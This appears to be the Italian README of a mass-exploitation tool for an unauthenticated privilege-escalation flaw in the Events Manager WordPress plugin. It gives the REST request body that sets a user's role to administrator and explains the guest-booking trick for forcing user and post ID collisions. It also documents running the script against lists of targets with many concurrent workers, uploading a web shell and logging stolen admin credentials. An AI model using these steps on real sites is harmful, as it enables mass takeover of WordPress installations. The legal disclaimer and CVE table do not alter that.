
Events Manager < 7.4.1 - Escalation dei privilegi non autenticata ad Amministratore
Events Manager < 7.4.1 - Escalation dei privilegi non autenticata ad Amministratore
La vulnerabilità risiede in EM\Archetypes::map_meta_cap all'interno di classes/em-archetypes.php. Il plugin limita in modo improprio il mapping delle proprie capability:
event o location, azzera $caps = []edit_user, delete_user o promote_userhas_cap() restituisce true, anche per l'utente 0 (ospite)POST|PUT|PATCH /wp-json/wp/v2/users/{id}
POST /index.php?rest_route=/wp/v2/users/{id}
Body: {"password":"...","roles":["administrator"]}
Condizione: {id} deve corrispondere a wp_posts.ID di un CPT di tipo event o location.
⚠️ L'API REST non autenticata non richiede un nonce (nessun cookie di sessione).
Le prenotazioni ospite (dbem_bookings_anonymous=1 per impostazione predefinita) creano utenti WordPress reali, consentendo il forzamento della collisione degli ID. Il nonce di prenotazione è disponibile pubblicamente nei moduli degli eventi.
pip install aiohttp
python CVE-2026-18366.py
Lo script richiederà:
list.txt)python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
| Opzione | Descrizione |
|---|---|
-l, --list | Percorso del file contenente gli URL target |
-s, --speed | Numero di worker concorrenti (1-200) |
--timeout | Timeout delle richieste in secondi (predefinito: 20) |
Crea un file list.txt con un target per riga:
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
Le compromissioni riuscite vengono salvate in adminS.txt:
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-18366 Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌─────────────┐ ┌──────────────────────┐ │
│ │ Detect │ → │ Collect IDs │ → │ PATH A: ID Brute │ │
│ │ Plugin │ │ (CPT/HTML) │ │ REST /users/{id} │ │
│ └──────────┘ └─────────────┘ └──────────┬───────────┘ │
│ │ │
│ ┌──────▼──────┐ │
│ │ Success? │ │
│ └──────┬──────┘ │
│ No │ │ Yes │
│ ┌──────────▼──────▼──────────┐ │
│ │ │ │
│ ┌──────────────────────┐ │ ┌─────────────────┐ │ │
│ │ PATH B: Guest Book │ ←───┘ │ Login + Verify │ │ │
│ │ Create user until │ │ Admin Access │ │ │
│ │ user_id == post_id │ └────────┬────────┘ │ │
│ └──────────────────────┘ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Upload Shell │ │ │
│ │ (Plugin/Theme) │ │ │
│ └────────┬────────┘ │ │
│ │ │ │
│ ┌────────▼────────┐ │ │
│ │ Save Results │ │ │
│ │ adminS.txt │ │ │
│ └─────────────────┘ │ │
│ │ │
└────────────────────────────────────────────────────────────────┘
├── CVE-2026-18366.py # Main exploit script
├── list.txt # Target URLs (create this)
├── adminS.txt # Successful results (auto-created)
└── README.md # This documentation
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ ║
║ • Only use on systems you own or have explicit permission ║
║ • Unauthorized access to computer systems is ILLEGAL ║
║ • The author is NOT responsible for any misuse or damage ║
║ • By using this tool, you agree to these terms ║
║ ║
║ Use responsibly. Stay ethical. Respect the law. ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
Se sei un amministratore WordPress:
| Attributo | Dettagli |
|---|
| CVE ID | CVE-2026-18366 |
| Gravità | 🔴 CRITICA (CVSS 9.8) |
| Plugin | Events Manager per WordPress |
| Versioni interessate | < 7.4.1 |
| Tipo di vulnerabilità | Escalation dei privilegi non autenticata |
| Vettore di attacco | Rete |
| Autenticazione richiesta | Nessuna |